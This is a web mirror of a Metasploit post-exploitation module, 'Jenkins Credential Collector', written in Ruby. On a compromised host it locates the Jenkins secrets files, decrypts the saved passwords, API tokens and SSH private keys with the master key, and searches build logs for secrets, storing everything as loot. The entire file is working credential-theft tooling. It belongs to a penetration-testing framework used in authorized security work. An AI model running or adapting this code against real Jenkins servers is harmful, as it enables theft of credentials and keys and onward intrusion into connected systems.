Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/jenkins_gather.rb
19612 views
1
require 'nokogiri'
2
require 'base64'
3
require 'digest'
4
require 'openssl'
5
require 'sshkey'
6
7
class MetasploitModule < Msf::Post
8
include Msf::Post::File
9
include Msf::Post::Linux::System
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Jenkins Credential Collector',
16
'Description' => %q{
17
This module can be used to extract saved Jenkins credentials, user
18
tokens, SSH keys, and secrets. Interesting files will be stored in
19
loot along with combined csv output.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'thesubtlety' ],
23
'Platform' => [ 'linux', 'win' ],
24
'SessionTypes' => %w[shell meterpreter],
25
'Compat' => {
26
'Meterpreter' => {
27
'Commands' => %w[
28
stdapi_fs_search
29
]
30
}
31
},
32
'Notes' => {
33
'Stability' => [CRASH_SAFE],
34
'SideEffects' => [],
35
'Reliability' => []
36
}
37
)
38
)
39
register_options(
40
[
41
OptString.new('JENKINS_HOME', [ false, 'Set to the home directory of Jenkins. The Linux versions default to /var/lib/jenkins, but C:\\\\ProgramData\\\\Jenkins\\\\.jenkins on Windows.', ]),
42
OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true]),
43
OptBool.new('SEARCH_JOBS', [false, 'Search through job history logs for interesting keywords. Increases runtime.', false])
44
]
45
)
46
47
@nodes = []
48
@creds = []
49
@ssh_keys = []
50
@api_tokens = []
51
end
52
53
def report_creds(user, pass)
54
return if user.blank? || pass.blank?
55
56
credential_data = {
57
origin_type: :session,
58
post_reference_name: fullname,
59
private_data: pass,
60
private_type: :password,
61
session_id: session_db_id,
62
username: user,
63
workspace_id: myworkspace_id
64
}
65
66
create_credential(credential_data)
67
end
68
69
def parse_credentialsxml(file)
70
# Newer versions of Jenkins do not create `credentials.xml` until credentials have been added via Jenkins client
71
# tested on versions 2.401.1, 2.346.3
72
if exists?(file)
73
vprint_status('Parsing credentials.xml...')
74
f = read_file(file)
75
if datastore['STORE_LOOT']
76
loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)
77
vprint_status("File credentials.xml saved to #{loot_path}")
78
end
79
else
80
vprint_status('There is no credential.xml file present')
81
end
82
83
xml_doc = Nokogiri::XML(f)
84
xml_doc.xpath('//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl').each do |node|
85
username = node.xpath('username').text
86
password = decrypt(node.xpath('password').text)
87
description = node.xpath('description').text
88
print_good("Credentials found - Username: #{username} Password: #{password}")
89
report_creds(username, password)
90
@creds << [username, password, description]
91
end
92
93
xml_doc.xpath('//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey').each do |node|
94
cred_id = node.xpath('id').text
95
username = node.xpath('username').text
96
description = node.xpath('description').text
97
passphrase = node.xpath('passphrase').text
98
passphrase = decrypt(passphrase)
99
private_key = node.xpath('//privateKeySource//privateKey').text
100
private_key = decrypt(private_key) if !private_key.match?(/----BEGIN/)
101
print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || '<empty>'} Username: #{username} Description: #{description}")
102
103
store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']
104
@ssh_keys << [cred_id, description, passphrase, username, private_key]
105
106
begin
107
k = OpenSSL::PKey::RSA.new(private_key, passphrase)
108
key = SSHKey.new(k, passphrase: passphrase, comment: cred_id)
109
credential_data = {
110
origin_type: :session,
111
session_id: session_db_id,
112
post_reference_name: refname,
113
private_type: :ssh_key,
114
private_data: key.key_object.to_s,
115
username: cred_id,
116
workspace_id: myworkspace_id
117
}
118
create_credential(credential_data)
119
rescue OpenSSL::OpenSSLError => e
120
print_error("Could not save SSH key to creds: #{e.message}")
121
end
122
end
123
end
124
125
def parse_users(file)
126
f = read_file(file)
127
fname = file.tr('\\', '/').split('/')[-2]
128
vprint_status("Parsing user #{fname}...")
129
130
username = ''
131
api_token = ''
132
xml_doc = Nokogiri::XML(f)
133
xml_doc.xpath('//user').each do |node|
134
username = node.xpath('fullName').text
135
end
136
137
xml_doc.xpath('//jenkins.security.ApiTokenProperty').each do |node|
138
api_token = decrypt(node.xpath('apiToken').text)
139
end
140
141
if api_token
142
print_good("API Token found - Username: #{username} Token: #{api_token}")
143
@api_tokens << [username, api_token]
144
report_creds(username, api_token)
145
store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
146
end
147
end
148
149
def parse_nodes(file)
150
f = read_file(file)
151
fname = file.tr('\\', '/').split('/')[-2]
152
vprint_status("Parsing node #{fname}...")
153
154
node_name = ''
155
description = ''
156
host = ''
157
port = ''
158
cred_id = ''
159
xml_doc = Nokogiri::XML(f)
160
xml_doc.xpath('//slave').each do |node|
161
node_name = node.xpath('name').text
162
description = node.xpath('description').text
163
end
164
165
xml_doc.xpath('//launcher').each do |node|
166
host = node.xpath('host').text
167
port = node.xpath('port').text
168
cred_id = node.xpath('credentialsId').text
169
end
170
171
@nodes << [node_name, host, port, description, cred_id]
172
print_good("Node Info found - Name: #{node_name} Host: #{host} Port: #{port} CredID: #{cred_id}")
173
store_loot("node-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
174
end
175
176
def parse_jobs(file)
177
f = read_file(file)
178
fname = file.tr('\\', '/').split('/')[-4]
179
vprint_status("Parsing job #{fname}...")
180
181
username = ''
182
pw = ''
183
job_name = file.split(%r{/jobs/(.*?)/builds/})[1]
184
xml_doc = Nokogiri::XML(f)
185
xml_doc.xpath('//hudson.model.PasswordParameterValue').each do |node|
186
username = node.xpath('name').text
187
pw = decrypt(node.xpath('value').text)
188
end
189
190
@creds << [username, pw, '']
191
print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") if !pw.blank?
192
store_loot("job-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
193
end
194
195
def pretty_print_gathered
196
creds_table = Rex::Text::Table.new(
197
'Header' => 'Creds',
198
'Indent' => 1,
199
'Columns' =>
200
[
201
'Username',
202
'Password',
203
'Description'
204
]
205
)
206
@creds.uniq.each { |e| creds_table << e }
207
print_good("\n" + creds_table.to_s) if !creds_table.rows.count.zero?
208
store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']
209
210
api_table = Rex::Text::Table.new(
211
'Header' => 'API Keys',
212
'Indent' => 1,
213
'Columns' =>
214
[
215
'Username',
216
'API Tokens'
217
]
218
)
219
@api_tokens.uniq.each { |e| api_table << e }
220
print_good("\n" + api_table.to_s) if !api_table.rows.count.zero?
221
store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']
222
223
node_table = Rex::Text::Table.new(
224
'Header' => 'Nodes',
225
'Indent' => 1,
226
'Columns' =>
227
[
228
'Node Name',
229
'Hostname',
230
'Port',
231
'Description',
232
'Cred Id'
233
]
234
)
235
@nodes.uniq.each { |e| node_table << e }
236
print_good("\n" + node_table.to_s) if !node_table.rows.count.zero?
237
store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']
238
239
@ssh_keys.uniq.each do |e|
240
print_good('SSH Key')
241
print_status(" ID: #{e[0]}")
242
print_status(" Description: #{e[1]}") if !e[1].blank?
243
print_status(" Passphrase: #{e[2]}") if !e[2].blank?
244
print_status(" Username: #{e[3]}") if !e[3].blank?
245
print_status("\n#{e[4]}")
246
end
247
ssh_output = @ssh_keys.each { |e| e.join(',') + "\n\n\n" }
248
store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?
249
end
250
251
def grep_job_history(path, platform)
252
print_status('Searching through job history for interesting keywords...')
253
case platform
254
when 'windows'
255
results = cmd_exec('cmd.exe', "/c findstr /s /i \"secret key token password\" \"#{path}*log\"")
256
when 'nix'
257
results = cmd_exec('/bin/egrep', "-ir \"password|secret|key\" --include log \"#{path}\"")
258
end
259
store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?
260
print_good("Job Log truffles:\n#{results}") if !results.empty?
261
end
262
263
def find_configs(path, platform)
264
case platform
265
266
when 'windows'
267
case session.type
268
when 'meterpreter'
269
configs = ''
270
c = session.fs.file.search(path, 'config.xml', true, -1) \
271
.concat(session.fs.file.search(path, 'build.xml', true, -1))
272
c.each { |f| configs << f['path'] + '\\' + f['name'] + "\n" }
273
else
274
configs = cmd_exec('cmd.exe', "/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")
275
end
276
configs.split("\n").each do |f|
277
case f
278
when /\\users\\/
279
parse_users(f)
280
when /\\jobs\\/
281
parse_jobs(f)
282
when /\\nodes\\/
283
parse_nodes(f)
284
end
285
end
286
287
when 'nix'
288
configs = cmd_exec('/usr/bin/find', "\"#{path}\" -name config.xml -o -name build.xml")
289
configs.split("\n").each do |f|
290
case f
291
when %r{/users/}
292
parse_users(f)
293
when %r{/jobs/}
294
parse_jobs(f)
295
when %r{/nodes/}
296
parse_nodes(f)
297
end
298
end
299
end
300
end
301
302
def get_key_material(home, platform)
303
case platform
304
when 'windows'
305
master_key_path = "#{home}\\secrets\\master.key"
306
hudson_secret_key_path = "#{home}\\secrets\\hudson.util.Secret"
307
initial_admin_password_path = "#{home}\\secrets\\initialAdminPassword"
308
when 'nix'
309
master_key_path = "#{home}/secrets/master.key"
310
hudson_secret_key_path = "#{home}/secrets/hudson.util.Secret"
311
initial_admin_password_path = "#{home}/secrets/initialAdminPassword"
312
end
313
314
# Newer versions of Jenkins have an `initialAdminPassword` which contains the initial password set when configuring Jenkins
315
# tested on versions 2.401.1, 2.346.3, 2.103
316
if exists?(initial_admin_password_path)
317
initial_admin_password = read_file(initial_admin_password_path).strip
318
319
if datastore['STORE_LOOT']
320
loot_path = store_loot('initialAdminPassword', 'text/plain', session, initial_admin_password)
321
print_status("File initialAdminPassword saved to #{loot_path}")
322
else
323
print_status("File initialAdminPassword contents: #{initial_admin_password}")
324
end
325
else
326
print_error 'Cannot read initialAdminPassword...'
327
end
328
329
if exists?(master_key_path)
330
@master_key = read_file(master_key_path)
331
332
if datastore['STORE_LOOT']
333
loot_path = store_loot('master.key', 'text/plain', session, @master_key)
334
print_status("File master.key saved to #{loot_path}")
335
else
336
print_status("File master.key contents: #{@master_key}")
337
end
338
else
339
print_error 'Cannot read master.key...'
340
end
341
342
# Newer versions of Jenkins do not create `hudson.util.Secret` until credentials have been added via Jenkins client
343
# tested on versions 2.401.1, 2.346.3
344
if exists?(hudson_secret_key_path)
345
@hudson_secret_key = read_file(hudson_secret_key_path)
346
347
if datastore['STORE_LOOT']
348
loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
349
print_status("File hudson.util.Secret saved to #{loot_path}")
350
end
351
else
352
print_error 'Cannot read hudson.util.Secret...'
353
end
354
end
355
356
def find_home(platform)
357
if datastore['JENKINS_HOME']
358
if exist?(datastore['JENKINS_HOME'] + '/secret.key.not-so-secret')
359
return datastore['JENKINS_HOME']
360
end
361
362
print_status(datastore['JENKINS_HOME'] + ' does not seem to contain secrets.')
363
end
364
365
print_status('Searching for Jenkins directory... This could take some time...')
366
case platform
367
when 'windows'
368
if exists?('C:\\ProgramData\\Jenkins\\.jenkins\\secret.key.not-so-secret')
369
home = 'C:\\ProgramData\\Jenkins\\.jenkins\\'
370
else
371
case session.type
372
when 'meterpreter'
373
home = session.fs.file.search(nil, 'secret.key.not-so-secret')[0]['path']
374
else
375
home = cmd_exec('cmd.exe', "/c dir /b /s c:\*secret.key.not-so-secret", 120).split('\\')[0..-2].join('\\').strip
376
end
377
end
378
when 'nix'
379
if exists?('/var/lib/jenkins/secret.key.not-so-secret')
380
home = '/var/lib/jenkins/'
381
else
382
home = cmd_exec('find', "/ -name 'secret.key.not-so-secret' 2>/dev/null", 120).split('/')[0..-2].join('/').strip
383
end
384
end
385
fail_with(Failure::NotFound, 'No Jenkins installation found or readable, exiting...') if !exist?(home)
386
print_status("Found Jenkins installation at #{home}")
387
home
388
end
389
390
def gathernix
391
home = find_home('nix')
392
get_key_material(home, 'nix')
393
parse_credentialsxml(home + '/credentials.xml')
394
find_configs(home, 'nix')
395
grep_job_history(home + '/jobs/', 'nix') if datastore['SEARCH_JOBS']
396
pretty_print_gathered
397
end
398
399
def gatherwin
400
home = find_home('windows')
401
get_key_material(home, 'windows')
402
parse_credentialsxml(home + '\\credentials.xml')
403
find_configs(home, 'windows')
404
grep_job_history(home + '\\jobs\\', 'windows') if datastore['SEARCH_JOBS']
405
pretty_print_gathered
406
end
407
408
def run
409
case session.platform
410
when 'linux'
411
gathernix
412
else
413
gatherwin
414
end
415
end
416
417
def decrypt_key(master_key, hudson_secret_key)
418
# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
419
magic = '::::MAGIC::::'
420
hashed_master_key = Digest::SHA256.digest(master_key)[0..15]
421
intermediate = OpenSSL::Cipher.new('AES-128-ECB')
422
intermediate.decrypt
423
intermediate.key = hashed_master_key
424
425
salted_final = intermediate.update(hudson_secret_key) + intermediate.final
426
raise 'no magic key in a' if !salted_final.include?(magic)
427
428
salted_final[0..15]
429
end
430
431
def decrypt_v2(encrypted)
432
master_key = @master_key
433
hudson_secret_key = @hudson_secret_key
434
key = decrypt_key(master_key, hudson_secret_key)
435
encrypted_text = Base64.decode64(encrypted).bytes
436
437
iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)
438
data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)
439
if encrypted_text.length != (1 + 8 + iv_length + data_length)
440
print_error("Invalid encrypted string: #{encrypted}")
441
end
442
iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]
443
code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')
444
445
cipher = OpenSSL::Cipher.new('AES-128-CBC')
446
cipher.decrypt
447
cipher.key = key
448
cipher.iv = iv
449
450
text = cipher.update(code) + cipher.final
451
text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
452
text
453
rescue StandardError => e
454
print_error(e.to_s)
455
return 'Could not decrypt string'
456
end
457
458
def decrypt_legacy(encrypted)
459
# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
460
461
magic = '::::MAGIC::::'
462
master_key = @master_key
463
hudson_secret_key = @hudson_secret_key
464
encrypted = Base64.decode64(encrypted)
465
466
key = decrypt_key(master_key, hudson_secret_key)
467
cipher = OpenSSL::Cipher.new('AES-128-ECB')
468
cipher.decrypt
469
cipher.key = key
470
471
text = cipher.update(encrypted) + cipher.final
472
text = text[0..(text.length - magic.size - 1)]
473
text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
474
text
475
rescue StandardError => e
476
print_error(e.to_s)
477
return 'Could not decrypt string'
478
end
479
480
def decrypt(encrypted)
481
return if encrypted.empty?
482
483
if encrypted[0] == '{' && encrypted[-1] == '}'
484
decrypt_v2(encrypted)
485
else
486
decrypt_legacy(encrypted)
487
end
488
end
489
end
490
491